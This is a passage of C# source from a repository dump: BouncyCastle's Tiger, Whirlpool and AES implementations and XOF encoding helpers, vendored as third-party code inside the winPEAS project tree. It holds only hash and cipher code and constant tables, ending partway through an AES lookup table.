/* 960 */, unchecked((long) 0x127FAFDD937D11D2L) /* 961 */, unchecked((long) 0x29DA3BADC66D92E4L) /* 962 */, unchecked((long) 0xA2C1D57154C2ECBCL) /* 963 */, unchecked((long) 0x58C5134D82F6FE24L) /* 964 */, unchecked((long) 0x1C3AE3515B62274FL) /* 965 */, unchecked((long) 0xE907C82E01CB8126L) /* 966 */, unchecked((long) 0xF8ED091913E37FCBL) /* 967 */, unchecked((long) 0x3249D8F9C80046C9L) /* 968 */, unchecked((long) 0x80CF9BEDE388FB63L) /* 969 */, unchecked((long) 0x1881539A116CF19EL) /* 970 */, unchecked((long) 0x5103F3F76BD52457L) /* 971 */, unchecked((long) 0x15B7E6F5AE47F7A8L) /* 972 */, unchecked((long) 0xDBD7C6DED47E9CCFL) /* 973 */, unchecked((long) 0x44E55C410228BB1AL) /* 974 */, unchecked((long) 0xB647D4255EDB4E99L) /* 975 */, unchecked((long) 0x5D11882BB8AAFC30L) /* 976 */, unchecked((long) 0xF5098BBB29D3212AL) /* 977 */, unchecked((long) 0x8FB5EA14E90296B3L) /* 978 */, unchecked((long) 0x677B942157DD025AL) /* 979 */, unchecked((long) 0xFB58E7C0A390ACB5L) /* 980 */, unchecked((long) 0x89D3674C83BD4A01L) /* 981 */, unchecked((long) 0x9E2DA4DF4BF3B93BL) /* 982 */, unchecked((long) 0xFCC41E328CAB4829L) /* 983 */, unchecked((long) 0x03F38C96BA582C52L) /* 984 */, unchecked((long) 0xCAD1BDBD7FD85DB2L) /* 985 */, unchecked((long) 0xBBB442C16082AE83L) /* 986 */, unchecked((long) 0xB95FE86BA5DA9AB0L) /* 987 */, unchecked((long) 0xB22E04673771A93FL) /* 988 */, unchecked((long) 0x845358C9493152D8L) /* 989 */, unchecked((long) 0xBE2A488697B4541EL) /* 990 */, unchecked((long) 0x95A2DC2DD38E6966L) /* 991 */, unchecked((long) 0xC02C11AC923C852BL) /* 992 */, unchecked((long) 0x2388B1990DF2A87BL) /* 993 */, unchecked((long) 0x7C8008FA1B4F37BEL) /* 994 */, unchecked((long) 0x1F70D0C84D54E503L) /* 995 */, unchecked((long) 0x5490ADEC7ECE57D4L) /* 996 */, unchecked((long) 0x002B3C27D9063A3AL) /* 997 */, unchecked((long) 0x7EAEA3848030A2BFL) /* 998 */, unchecked((long) 0xC602326DED2003C0L) /* 999 */, unchecked((long) 0x83A7287D69A94086L) /* 1000 */, unchecked((long) 0xC57A5FCB30F57A8AL) /* 1001 */, unchecked((long) 0xB56844E479EBE779L) /* 1002 */, unchecked((long) 0xA373B40F05DCBCE9L) /* 1003 */, unchecked((long) 0xD71A786E88570EE2L) /* 1004 */, unchecked((long) 0x879CBACDBDE8F6A0L) /* 1005 */, unchecked((long) 0x976AD1BCC164A32FL) /* 1006 */, unchecked((long) 0xAB21E25E9666D78BL) /* 1007 */, unchecked((long) 0x901063AAE5E5C33CL) /* 1008 */, unchecked((long) 0x9818B34448698D90L) /* 1009 */, unchecked((long) 0xE36487AE3E1E8ABBL) /* 1010 */, unchecked((long) 0xAFBDF931893BDCB4L) /* 1011 */, unchecked((long) 0x6345A0DC5FBBD519L) /* 1012 */, unchecked((long) 0x8628FE269B9465CAL) /* 1013 */, unchecked((long) 0x1E5D01603F9C51ECL) /* 1014 */, unchecked((long) 0x4DE44006A15049B7L) /* 1015 */, unchecked((long) 0xBF6C70E5F776CBB1L) /* 1016 */, unchecked((long) 0x411218F2EF552BEDL) /* 1017 */, unchecked((long) 0xCB0C0708705A36A3L) /* 1018 */, unchecked((long) 0xE74D14754F986044L) /* 1019 */, unchecked((long) 0xCD56D9430EA8280EL) /* 1020 */, unchecked((long) 0xC12591D7535F5065L) /* 1021 */, unchecked((long) 0xC83223F1720AEF96L) /* 1022 */, unchecked((long) 0xC3A0396F7363A51FL) /* 1023 */ }; private const int DigestLength = 24; // // registers // private long a, b, c; private long byteCount; // // buffers // private byte[] Buffer = new byte[8]; private int bOff; private long[] x = new long[8]; private int xOff; /** * Standard constructor */ public TigerDigest() { Reset(); } /** * Copy constructor. This will copy the state of the provided * message digest. */ public TigerDigest(TigerDigest t) { Reset(t); } public string AlgorithmName { get { return "Tiger"; } } public int GetDigestSize() { return DigestLength; } public int GetByteLength() { return MyByteLength; } private void ProcessWord( byte[] b, int off) { x[xOff++] = ((long)(b[off + 7] & 0xff) << 56) | ((long)(b[off + 6] & 0xff) << 48) | ((long)(b[off + 5] & 0xff) << 40) | ((long)(b[off + 4] & 0xff) << 32) | ((long)(b[off + 3] & 0xff) << 24) | ((long)(b[off + 2] & 0xff) << 16) | ((long)(b[off + 1] & 0xff) << 8) | ((uint)(b[off + 0] & 0xff)); if (xOff == x.Length) { ProcessBlock(); } bOff = 0; } public void Update( byte input) { Buffer[bOff++] = input; if (bOff == Buffer.Length) { ProcessWord(Buffer, 0); } byteCount++; } public void BlockUpdate( byte[] input, int inOff, int length) { // // fill the current word // while ((bOff != 0) && (length > 0)) { Update(input[inOff]); inOff++; length--; } // // process whole words. // while (length > 8) { ProcessWord(input, inOff); inOff += 8; length -= 8; byteCount += 8; } // // load in the remainder. // while (length > 0) { Update(input[inOff]); inOff++; length--; } } private void RoundABC( long x, long mul) { c ^= x ; a -= t1[(int)c & 0xff] ^ t2[(int)(c >> 16) & 0xff] ^ t3[(int)(c >> 32) & 0xff] ^ t4[(int)(c >> 48) & 0xff]; b += t4[(int)(c >> 8) & 0xff] ^ t3[(int)(c >> 24) & 0xff] ^ t2[(int)(c >> 40) & 0xff] ^ t1[(int)(c >> 56) & 0xff]; b *= mul; } private void RoundBCA( long x, long mul) { a ^= x ; b -= t1[(int)a & 0xff] ^ t2[(int)(a >> 16) & 0xff] ^ t3[(int)(a >> 32) & 0xff] ^ t4[(int)(a >> 48) & 0xff]; c += t4[(int)(a >> 8) & 0xff] ^ t3[(int)(a >> 24) & 0xff] ^ t2[(int)(a >> 40) & 0xff] ^ t1[(int)(a >> 56) & 0xff]; c *= mul; } private void RoundCAB( long x, long mul) { b ^= x ; c -= t1[(int)b & 0xff] ^ t2[(int)(b >> 16) & 0xff] ^ t3[(int)(b >> 32) & 0xff] ^ t4[(int)(b >> 48) & 0xff]; a += t4[(int)(b >> 8) & 0xff] ^ t3[(int)(b >> 24) & 0xff] ^ t2[(int)(b >> 40) & 0xff] ^ t1[(int)(b >> 56) & 0xff]; a *= mul; } private void KeySchedule() { x[0] -= x[7] ^ unchecked ((long) 0xA5A5A5A5A5A5A5A5L); x[1] ^= x[0]; x[2] += x[1]; x[3] -= x[2] ^ ((~x[1]) << 19); x[4] ^= x[3]; x[5] += x[4]; x[6] -= x[5] ^ (long) ((ulong) (~x[4]) >> 23); x[7] ^= x[6]; x[0] += x[7]; x[1] -= x[0] ^ ((~x[7]) << 19); x[2] ^= x[1]; x[3] += x[2]; x[4] -= x[3] ^ (long) ((ulong) (~x[2]) >> 23); x[5] ^= x[4]; x[6] += x[5]; x[7] -= x[6] ^ 0x0123456789ABCDEFL; } private void ProcessBlock() { // // save abc // long aa = a; long bb = b; long cc = c; // // rounds and schedule // RoundABC(x[0], 5); RoundBCA(x[1], 5); RoundCAB(x[2], 5); RoundABC(x[3], 5); RoundBCA(x[4], 5); RoundCAB(x[5], 5); RoundABC(x[6], 5); RoundBCA(x[7], 5); KeySchedule(); RoundCAB(x[0], 7); RoundABC(x[1], 7); RoundBCA(x[2], 7); RoundCAB(x[3], 7); RoundABC(x[4], 7); RoundBCA(x[5], 7); RoundCAB(x[6], 7); RoundABC(x[7], 7); KeySchedule(); RoundBCA(x[0], 9); RoundCAB(x[1], 9); RoundABC(x[2], 9); RoundBCA(x[3], 9); RoundCAB(x[4], 9); RoundABC(x[5], 9); RoundBCA(x[6], 9); RoundCAB(x[7], 9); // // feed forward // a ^= aa; b -= bb; c += cc; // // clear the x buffer // xOff = 0; for (int i = 0; i != x.Length; i++) { x[i] = 0; } } private void UnpackWord( long r, byte[] output, int outOff) { output[outOff + 7] = (byte)(r >> 56); output[outOff + 6] = (byte)(r >> 48); output[outOff + 5] = (byte)(r >> 40); output[outOff + 4] = (byte)(r >> 32); output[outOff + 3] = (byte)(r >> 24); output[outOff + 2] = (byte)(r >> 16); output[outOff + 1] = (byte)(r >> 8); output[outOff] = (byte)r; } private void ProcessLength( long bitLength) { x[7] = bitLength; } private void Finish() { long bitLength = (byteCount << 3); Update((byte)0x01); while (bOff != 0) { Update((byte)0); } ProcessLength(bitLength); ProcessBlock(); } public int DoFinal( byte[] output, int outOff) { Finish(); UnpackWord(a, output, outOff); UnpackWord(b, output, outOff + 8); UnpackWord(c, output, outOff + 16); Reset(); return DigestLength; } /** * reset the chaining variables */ public void Reset() { a = unchecked((long) 0x0123456789ABCDEFL); b = unchecked((long) 0xFEDCBA9876543210L); c = unchecked((long) 0xF096A5B4C3B2E187L); xOff = 0; for (int i = 0; i != x.Length; i++) { x[i] = 0; } bOff = 0; for (int i = 0; i != Buffer.Length; i++) { Buffer[i] = 0; } byteCount = 0; } public IMemoable Copy() { return new TigerDigest(this); } public void Reset(IMemoable other) { TigerDigest t = (TigerDigest)other; a = t.a; b = t.b; c = t.c; Array.Copy(t.x, 0, x, 0, t.x.Length); xOff = t.xOff; Array.Copy(t.Buffer, 0, Buffer, 0, t.Buffer.Length); bOff = t.bOff; byteCount = t.byteCount; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/WhirlpoolDigest.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { /** * Implementation of WhirlpoolDigest, based on Java source published by Barreto * and Rijmen. * */ public sealed class WhirlpoolDigest : IDigest, IMemoable { private const int BYTE_LENGTH = 64; private const int DIGEST_LENGTH_BYTES = 512 / 8; private const int ROUNDS = 10; private const int REDUCTION_POLYNOMIAL = 0x011d; // 2^8 + 2^4 + 2^3 + 2 + 1; private static readonly int[] SBOX = { 0x18, 0x23, 0xc6, 0xe8, 0x87, 0xb8, 0x01, 0x4f, 0x36, 0xa6, 0xd2, 0xf5, 0x79, 0x6f, 0x91, 0x52, 0x60, 0xbc, 0x9b, 0x8e, 0xa3, 0x0c, 0x7b, 0x35, 0x1d, 0xe0, 0xd7, 0xc2, 0x2e, 0x4b, 0xfe, 0x57, 0x15, 0x77, 0x37, 0xe5, 0x9f, 0xf0, 0x4a, 0xda, 0x58, 0xc9, 0x29, 0x0a, 0xb1, 0xa0, 0x6b, 0x85, 0xbd, 0x5d, 0x10, 0xf4, 0xcb, 0x3e, 0x05, 0x67, 0xe4, 0x27, 0x41, 0x8b, 0xa7, 0x7d, 0x95, 0xd8, 0xfb, 0xee, 0x7c, 0x66, 0xdd, 0x17, 0x47, 0x9e, 0xca, 0x2d, 0xbf, 0x07, 0xad, 0x5a, 0x83, 0x33, 0x63, 0x02, 0xaa, 0x71, 0xc8, 0x19, 0x49, 0xd9, 0xf2, 0xe3, 0x5b, 0x88, 0x9a, 0x26, 0x32, 0xb0, 0xe9, 0x0f, 0xd5, 0x80, 0xbe, 0xcd, 0x34, 0x48, 0xff, 0x7a, 0x90, 0x5f, 0x20, 0x68, 0x1a, 0xae, 0xb4, 0x54, 0x93, 0x22, 0x64, 0xf1, 0x73, 0x12, 0x40, 0x08, 0xc3, 0xec, 0xdb, 0xa1, 0x8d, 0x3d, 0x97, 0x00, 0xcf, 0x2b, 0x76, 0x82, 0xd6, 0x1b, 0xb5, 0xaf, 0x6a, 0x50, 0x45, 0xf3, 0x30, 0xef, 0x3f, 0x55, 0xa2, 0xea, 0x65, 0xba, 0x2f, 0xc0, 0xde, 0x1c, 0xfd, 0x4d, 0x92, 0x75, 0x06, 0x8a, 0xb2, 0xe6, 0x0e, 0x1f, 0x62, 0xd4, 0xa8, 0x96, 0xf9, 0xc5, 0x25, 0x59, 0x84, 0x72, 0x39, 0x4c, 0x5e, 0x78, 0x38, 0x8c, 0xd1, 0xa5, 0xe2, 0x61, 0xb3, 0x21, 0x9c, 0x1e, 0x43, 0xc7, 0xfc, 0x04, 0x51, 0x99, 0x6d, 0x0d, 0xfa, 0xdf, 0x7e, 0x24, 0x3b, 0xab, 0xce, 0x11, 0x8f, 0x4e, 0xb7, 0xeb, 0x3c, 0x81, 0x94, 0xf7, 0xb9, 0x13, 0x2c, 0xd3, 0xe7, 0x6e, 0xc4, 0x03, 0x56, 0x44, 0x7f, 0xa9, 0x2a, 0xbb, 0xc1, 0x53, 0xdc, 0x0b, 0x9d, 0x6c, 0x31, 0x74, 0xf6, 0x46, 0xac, 0x89, 0x14, 0xe1, 0x16, 0x3a, 0x69, 0x09, 0x70, 0xb6, 0xd0, 0xed, 0xcc, 0x42, 0x98, 0xa4, 0x28, 0x5c, 0xf8, 0x86 }; private static readonly long[] C0 = new long[256]; private static readonly long[] C1 = new long[256]; private static readonly long[] C2 = new long[256]; private static readonly long[] C3 = new long[256]; private static readonly long[] C4 = new long[256]; private static readonly long[] C5 = new long[256]; private static readonly long[] C6 = new long[256]; private static readonly long[] C7 = new long[256]; private readonly long[] _rc = new long[ROUNDS + 1]; /* * increment() can be implemented in this way using 2 arrays or * by having some temporary variables that are used to set the * value provided by EIGHT[i] and carry within the loop. * * not having done any timing, this seems likely to be faster * at the slight expense of 32*(sizeof short) bytes */ private static readonly short[] EIGHT = new short[BITCOUNT_ARRAY_SIZE]; static WhirlpoolDigest() { EIGHT[BITCOUNT_ARRAY_SIZE - 1] = 8; for (int i = 0; i < 256; i++) { int v1 = SBOX[i]; int v2 = maskWithReductionPolynomial(v1 << 1); int v4 = maskWithReductionPolynomial(v2 << 1); int v5 = v4 ^ v1; int v8 = maskWithReductionPolynomial(v4 << 1); int v9 = v8 ^ v1; C0[i] = packIntoLong(v1, v1, v4, v1, v8, v5, v2, v9); C1[i] = packIntoLong(v9, v1, v1, v4, v1, v8, v5, v2); C2[i] = packIntoLong(v2, v9, v1, v1, v4, v1, v8, v5); C3[i] = packIntoLong(v5, v2, v9, v1, v1, v4, v1, v8); C4[i] = packIntoLong(v8, v5, v2, v9, v1, v1, v4, v1); C5[i] = packIntoLong(v1, v8, v5, v2, v9, v1, v1, v4); C6[i] = packIntoLong(v4, v1, v8, v5, v2, v9, v1, v1); C7[i] = packIntoLong(v1, v4, v1, v8, v5, v2, v9, v1); } } public WhirlpoolDigest() { _rc[0] = 0L; for (int r = 1; r <= ROUNDS; r++) { int i = 8 * (r - 1); _rc[r] = (long)((ulong)C0[i] & 0xff00000000000000L) ^ (C1[i + 1] & (long) 0x00ff000000000000L) ^ (C2[i + 2] & (long) 0x0000ff0000000000L) ^ (C3[i + 3] & (long) 0x000000ff00000000L) ^ (C4[i + 4] & (long) 0x00000000ff000000L) ^ (C5[i + 5] & (long) 0x0000000000ff0000L) ^ (C6[i + 6] & (long) 0x000000000000ff00L) ^ (C7[i + 7] & (long) 0x00000000000000ffL); } } private static long packIntoLong(int b7, int b6, int b5, int b4, int b3, int b2, int b1, int b0) { return ((long)b7 << 56) ^ ((long)b6 << 48) ^ ((long)b5 << 40) ^ ((long)b4 << 32) ^ ((long)b3 << 24) ^ ((long)b2 << 16) ^ ((long)b1 << 8) ^ b0; } /* * int's are used to prevent sign extension. The values that are really being used are * actually just 0..255 */ private static int maskWithReductionPolynomial(int input) { int rv = input; if (rv >= 0x100L) // high bit set { rv ^= REDUCTION_POLYNOMIAL; // reduced by the polynomial } return rv; } // --------------------------------------------------------------------------------------// // -- buffer information -- private const int BITCOUNT_ARRAY_SIZE = 32; private byte[] _buffer = new byte[64]; private int _bufferPos; private short[] _bitCount = new short[BITCOUNT_ARRAY_SIZE]; // -- internal hash state -- private long[] _hash = new long[8]; private long[] _K = new long[8]; // the round key private long[] _L = new long[8]; private long[] _block = new long[8]; // mu (buffer) private long[] _state = new long[8]; // the current "cipher" state /** * Copy constructor. This will copy the state of the provided message * digest. */ public WhirlpoolDigest(WhirlpoolDigest originalDigest) { Reset(originalDigest); } public string AlgorithmName { get { return "Whirlpool"; } } public int GetDigestSize() { return DIGEST_LENGTH_BYTES; } public int DoFinal(byte[] output, int outOff) { // sets output[outOff] .. output[outOff+DIGEST_LENGTH_BYTES] finish(); for (int i = 0; i < 8; i++) { convertLongToByteArray(_hash[i], output, outOff + (i * 8)); } Reset(); return GetDigestSize(); } /** * Reset the chaining variables */ public void Reset() { // set variables to null, blank, whatever _bufferPos = 0; Array.Clear(_bitCount, 0, _bitCount.Length); Array.Clear(_buffer, 0, _buffer.Length); Array.Clear(_hash, 0, _hash.Length); Array.Clear(_K, 0, _K.Length); Array.Clear(_L, 0, _L.Length); Array.Clear(_block, 0, _block.Length); Array.Clear(_state, 0, _state.Length); } // this takes a buffer of information and fills the block private void processFilledBuffer() { // copies into the block... for (int i = 0; i < _state.Length; i++) { _block[i] = bytesToLongFromBuffer(_buffer, i * 8); } processBlock(); _bufferPos = 0; Array.Clear(_buffer, 0, _buffer.Length); } private static long bytesToLongFromBuffer(byte[] buffer, int startPos) { long rv = (((buffer[startPos + 0] & 0xffL) << 56) | ((buffer[startPos + 1] & 0xffL) << 48) | ((buffer[startPos + 2] & 0xffL) << 40) | ((buffer[startPos + 3] & 0xffL) << 32) | ((buffer[startPos + 4] & 0xffL) << 24) | ((buffer[startPos + 5] & 0xffL) << 16) | ((buffer[startPos + 6] & 0xffL) << 8) | ((buffer[startPos + 7]) & 0xffL)); return rv; } private static void convertLongToByteArray(long inputLong, byte[] outputArray, int offSet) { for (int i = 0; i < 8; i++) { outputArray[offSet + i] = (byte)((inputLong >> (56 - (i * 8))) & 0xff); } } private void processBlock() { // buffer contents have been transferred to the _block[] array via // processFilledBuffer // compute and apply K^0 for (int i = 0; i < 8; i++) { _state[i] = _block[i] ^ (_K[i] = _hash[i]); } // iterate over the rounds for (int round = 1; round <= ROUNDS; round++) { for (int i = 0; i < 8; i++) { _L[i] = 0; _L[i] ^= C0[(int)(_K[(i - 0) & 7] >> 56) & 0xff]; _L[i] ^= C1[(int)(_K[(i - 1) & 7] >> 48) & 0xff]; _L[i] ^= C2[(int)(_K[(i - 2) & 7] >> 40) & 0xff]; _L[i] ^= C3[(int)(_K[(i - 3) & 7] >> 32) & 0xff]; _L[i] ^= C4[(int)(_K[(i - 4) & 7] >> 24) & 0xff]; _L[i] ^= C5[(int)(_K[(i - 5) & 7] >> 16) & 0xff]; _L[i] ^= C6[(int)(_K[(i - 6) & 7] >> 8) & 0xff]; _L[i] ^= C7[(int)(_K[(i - 7) & 7]) & 0xff]; } Array.Copy(_L, 0, _K, 0, _K.Length); _K[0] ^= _rc[round]; // apply the round transformation for (int i = 0; i < 8; i++) { _L[i] = _K[i]; _L[i] ^= C0[(int)(_state[(i - 0) & 7] >> 56) & 0xff]; _L[i] ^= C1[(int)(_state[(i - 1) & 7] >> 48) & 0xff]; _L[i] ^= C2[(int)(_state[(i - 2) & 7] >> 40) & 0xff]; _L[i] ^= C3[(int)(_state[(i - 3) & 7] >> 32) & 0xff]; _L[i] ^= C4[(int)(_state[(i - 4) & 7] >> 24) & 0xff]; _L[i] ^= C5[(int)(_state[(i - 5) & 7] >> 16) & 0xff]; _L[i] ^= C6[(int)(_state[(i - 6) & 7] >> 8) & 0xff]; _L[i] ^= C7[(int)(_state[(i - 7) & 7]) & 0xff]; } // save the current state Array.Copy(_L, 0, _state, 0, _state.Length); } // apply Miuaguchi-Preneel compression for (int i = 0; i < 8; i++) { _hash[i] ^= _state[i] ^ _block[i]; } } public void Update(byte input) { _buffer[_bufferPos] = input; //Console.WriteLine("adding to buffer = "+_buffer[_bufferPos]); ++_bufferPos; if (_bufferPos == _buffer.Length) { processFilledBuffer(); } increment(); } private void increment() { int carry = 0; for (int i = _bitCount.Length - 1; i >= 0; i--) { int sum = (_bitCount[i] & 0xff) + EIGHT[i] + carry; carry = sum >> 8; _bitCount[i] = (short)(sum & 0xff); } } public void BlockUpdate(byte[] input, int inOff, int length) { while (length > 0) { Update(input[inOff]); ++inOff; --length; } } private void finish() { /* * this makes a copy of the current bit length. at the expense of an * object creation of 32 bytes rather than providing a _stopCounting * boolean which was the alternative I could think of. */ byte[] bitLength = copyBitLength(); _buffer[_bufferPos++] |= 0x80; if (_bufferPos == _buffer.Length) { processFilledBuffer(); } /* * Final block contains * [ ... data .... ][0][0][0][ length ] * * if [ length ] cannot fit. Need to create a new block. */ if (_bufferPos > 32) { while (_bufferPos != 0) { Update((byte)0); } } while (_bufferPos <= 32) { Update((byte)0); } // copy the length information to the final 32 bytes of the // 64 byte block.... Array.Copy(bitLength, 0, _buffer, 32, bitLength.Length); processFilledBuffer(); } private byte[] copyBitLength() { byte[] rv = new byte[BITCOUNT_ARRAY_SIZE]; for (int i = 0; i < rv.Length; i++) { rv[i] = (byte)(_bitCount[i] & 0xff); } return rv; } public int GetByteLength() { return BYTE_LENGTH; } public IMemoable Copy() { return new WhirlpoolDigest(this); } public void Reset(IMemoable other) { WhirlpoolDigest originalDigest = (WhirlpoolDigest)other; Array.Copy(originalDigest._rc, 0, _rc, 0, _rc.Length); Array.Copy(originalDigest._buffer, 0, _buffer, 0, _buffer.Length); this._bufferPos = originalDigest._bufferPos; Array.Copy(originalDigest._bitCount, 0, _bitCount, 0, _bitCount.Length); // -- internal hash state -- Array.Copy(originalDigest._hash, 0, _hash, 0, _hash.Length); Array.Copy(originalDigest._K, 0, _K, 0, _K.Length); Array.Copy(originalDigest._L, 0, _L, 0, _L.Length); Array.Copy(originalDigest._block, 0, _block, 0, _block.Length); Array.Copy(originalDigest._state, 0, _state, 0, _state.Length); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/XofUtils.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { internal class XofUtilities { internal static byte[] LeftEncode(long strLen) { byte n = 1; long v = strLen; while ((v >>= 8) != 0) { n++; } byte[] b = new byte[n + 1]; b[0] = n; for (int i = 1; i <= n; i++) { b[i] = (byte)(strLen >> (8 * (n - i))); } return b; } internal static byte[] RightEncode(long strLen) { byte n = 1; long v = strLen; while ((v >>= 8) != 0) { n++; } byte[] b = new byte[n + 1]; b[n] = n; for (int i = 0; i < n; i++) { b[i] = (byte)(strLen >> (8 * (n - i - 1))); } return b; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/engines/AesEngine.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.crypto.parameters; using winPEAS._3rdParty.BouncyCastle.crypto.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.engines { /** * an implementation of the AES (Rijndael), from FIPS-197. *

    * For further details see: http://csrc.nist.gov/encryption/aes/. * * This implementation is based on optimizations from Dr. Brian Gladman's paper and C code at * http://fp.gladman.plus.com/cryptography_technology/rijndael/ * * There are three levels of tradeoff of speed vs memory * Because java has no preprocessor, they are written as three separate classes from which to choose * * The fastest uses 8Kbytes of static tables to precompute round calculations, 4 256 word tables for encryption * and 4 for decryption. * * The middle performance version uses only one 256 word table for each, for a total of 2Kbytes, * adding 12 rotate operations per round to compute the values contained in the other tables from * the contents of the first. * * The slowest version uses no static tables at all and computes the values in each round. *

    *

    * This file contains the middle performance version with 2Kbytes of static tables for round precomputation. *

    */ public class AesEngine : IBlockCipher { // The S box private static readonly byte[] S = { 99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22, }; // The inverse S-box private static readonly byte[] Si = { 82, 9, 106, 213, 48, 54, 165, 56, 191, 64, 163, 158, 129, 243, 215, 251, 124, 227, 57, 130, 155, 47, 255, 135, 52, 142, 67, 68, 196, 222, 233, 203, 84, 123, 148, 50, 166, 194, 35, 61, 238, 76, 149, 11, 66, 250, 195, 78, 8, 46, 161, 102, 40, 217, 36, 178, 118, 91, 162, 73, 109, 139, 209, 37, 114, 248, 246, 100, 134, 104, 152, 22, 212, 164, 92, 204, 93, 101, 182, 146, 108, 112, 72, 80, 253, 237, 185, 218, 94, 21, 70, 87, 167, 141, 157, 132, 144, 216, 171, 0, 140, 188, 211, 10, 247, 228, 88, 5, 184, 179, 69, 6, 208, 44, 30, 143, 202, 63, 15, 2, 193, 175, 189, 3, 1, 19, 138, 107, 58, 145, 17, 65, 79, 103, 220, 234, 151, 242, 207, 206, 240, 180, 230, 115, 150, 172, 116, 34, 231, 173, 53, 133, 226, 249, 55, 232, 28, 117, 223, 110, 71, 241, 26, 113, 29, 41, 197, 137, 111, 183, 98, 14, 170, 24, 190, 27, 252, 86, 62, 75, 198, 210, 121, 32, 154, 219, 192, 254, 120, 205, 90, 244, 31, 221, 168, 51, 136, 7, 199, 49, 177, 18, 16, 89, 39, 128, 236, 95, 96, 81, 127, 169, 25, 181, 74, 13, 45, 229, 122, 159, 147, 201, 156, 239, 160, 224, 59, 77, 174, 42, 245, 176, 200, 235, 187, 60, 131, 83, 153, 97, 23, 43, 4, 126, 186, 119, 214, 38, 225, 105, 20, 99, 85, 33, 12, 125, }; // vector used in calculating key schedule (powers of x in GF(256)) private static readonly byte[] rcon = { 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91 }; // precomputation tables of calculations for rounds private static readonly uint[] T0 = { 0xa56363c6, 0x847c7cf8, 0x997777ee, 0x8d7b7bf6, 0x0df2f2ff, 0xbd6b6bd6, 0xb16f6fde, 0x54c5c591, 0x50303060, 0x03010102, 0xa96767ce, 0x7d2b2b56, 0x19fefee7, 0x62d7d7b5, 0xe6abab4d, 0x9a7676ec, 0x45caca8f, 0x9d82821f, 0x40c9c989, 0x877d7dfa, 0x15fafaef, 0xeb5959b2, 0xc947478e, 0x0bf0f0fb, 0xecadad41, 0x67d4d4b3, 0xfda2a25f, 0xeaafaf45, 0xbf9c9c23, 0xf7a4a453, 0x967272e4, 0x5bc0c09b, 0xc2b7b775, 0x1cfdfde1, 0xae93933d, 0x6a26264c, 0x5a36366c, 0x413f3f7e, 0x02f7f7f5, 0x4fcccc83, 0x5c343468, 0xf4a5a551, 0x34e5e5d1, 0x08f1f1f9, 0x937171e2, 0x73d8d8ab, 0x53313162, 0x3f15152a, 0x0c040408, 0x52c7c795, 0x65232346, 0x5ec3c39d, 0x28181830, 0xa1969637, 0x0f05050a, 0xb59a9a2f, 0x0907070e, 0x36121224, 0x9b80801b, 0x3de2e2df, 0x26ebebcd, 0x6927274e, 0xcdb2b27f, 0x9f7575ea, 0x1b090912, 0x9e83831d, 0x742c2c58, 0x2e1a1a34, 0x2d1b1b36, 0xb26e6edc, 0xee5a5ab4, 0xfba0a05b, 0xf65252a4, 0x4d3b3b76, 0x61d6d6b7, 0xceb3b37d, 0x7b292952, 0x3ee3e3dd, 0x712f2f5e, 0x97848413, 0xf55353a6, 0x68d1d1b9, 0x00000000, 0x2cededc1, 0x60202040, 0x1ffcfce3, 0xc8b1b179, 0xed5b5bb6, 0xbe6a6ad4, 0x46cbcb8d, 0xd9bebe67, 0x4b393972, 0xde4a4a94, 0xd44c4c98, 0xe85858b0, 0x4acfcf85, 0x6bd0d0bb, 0x2aefefc5, 0xe5aaaa4f, 0x16fbfbed, 0xc5434386, 0xd74d4d9a, 0x55333366, 0x94858511, 0xcf45458a, 0x10f9f9e9, 0x06020204, 0x817f7ffe, 0xf05050a0, 0x443c3c78, 0xba9f9f25, 0xe3a8a84b, 0xf35151a2, 0xfea3a35d, 0xc0404080, 0x8a8f8f05, 0xad92923f, 0xbc9d9d21, 0x48383870, 0x04f5f5f1, 0xdfbcbc63, 0xc1b6b677, 0x75dadaaf, 0x63212142, 0x30101020, 0x1affffe5, 0x0ef3f3fd, 0x6dd2d2bf, 0x4ccdcd81, 0x140c0c18, 0x35131326, 0x2fececc3, 0xe15f5fbe, 0xa2979735, 0xcc444488, 0x3917172e, 0x57c4c493, 0xf2a7a755, 0x827e7efc, 0x473d3d7a, 0xac6464c8, 0xe75d5dba, 0x2b191932, 0x957373e6, 0xa06060c0, 0x98818119, 0xd14f4f9e, 0x7fdcdca3, 0x66222244, 0x7e2a2a54, 0xab90903b, 0x8388880b, 0xca46468c, 